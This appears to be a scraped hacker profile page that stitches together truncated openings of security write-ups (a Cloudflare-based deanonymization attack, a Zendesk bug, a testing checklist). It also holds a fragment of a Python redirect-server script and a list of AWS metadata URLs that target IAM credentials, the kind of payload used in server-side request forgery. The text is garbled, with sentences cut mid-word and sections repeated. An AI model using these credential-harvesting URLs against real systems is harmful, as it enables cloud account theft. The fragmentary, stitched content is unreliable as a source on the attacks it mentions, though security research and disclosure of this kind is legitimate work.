Brutexploiter brutexploiter

hi, i'm daniel. i'm a 15-year-old high school junior. in my free time, i hack billion dollar companies and build cool stuff.

3 months ago, I discovered a unique 0-click deanonymization attack that allows an attacker to grab the location of any target within a 250 mile radius. With a vulnerable app installed on a target's phone (or as a background application on their laptop), an attacker can send a malicious payload and deanonymize you within seconds--and you wouldn't even know.

I'm publishing this writeup and research as a warning, especially for journalists, activists, and hackers, about this type of undetectable attack. Hundreds of applications are vulnerable, including some of the most popular apps in the world: Signal, Discord, Twitter/X, and others. Here's how it works:

Cloudflare

By the numbers, Cloudflare is easily the most popular CDN on the market. It beats out competitors such as Sucuri, Amazon CloudFront, Akamai, and Fastly. In 2019, a major Cloudflare outage k

hi, i'm daniel. i'm a 15-year-old with some programming experience and i do a little bug hunting in my free time. here's the insane story of how I found a single bug that affected over half of all Fortune 500 companies:

say hello to zendesk

If you've spent some time online, you’ve probably come across Zendesk.

Zendesk is a customer service tool used by some of the world’s top companies. It’s easy to set up: you link it to your company’s support email (like [email protected]), and Zendesk starts managing incoming emails and creating tickets. You can handle these tickets yourself or have a support team do it for you. Zendesk is a billion-dollar company, trusted by big names like Cloudflare.

Personally, I’ve always found it surprising that these massive companies, worth billions, rely on third-party tools like Zendesk instead of building their own in-house ticketing systems.

your weakest link

Fast Testing Checklist

A combination of my own methodology and the Web Application Hacker's Handbook Task checklist, as a Github-Flavored Markdown file

	#! /usr/bin/python3

	import http.server, ssl, sys, random, string, argparse, socket

	hostname = "[domain]"
	redirect_enabled = False
	redirect_target = ""
	redirect_token = ""
	manual_redirect_token = False
	redirect_code = 303

	## AWS
	# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories

	http://169.254.169.254/latest/user-data
	http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
	http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
	http://169.254.169.254/latest/meta-data/ami-id
	http://169.254.169.254/latest/meta-data/reservation-id
	http://169.254.169.254/latest/meta-data/hostname
	http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key

Brutexploiter brutexploiter

Cloudflare

say hello to zendesk

your weakest link

Fast Testing Checklist

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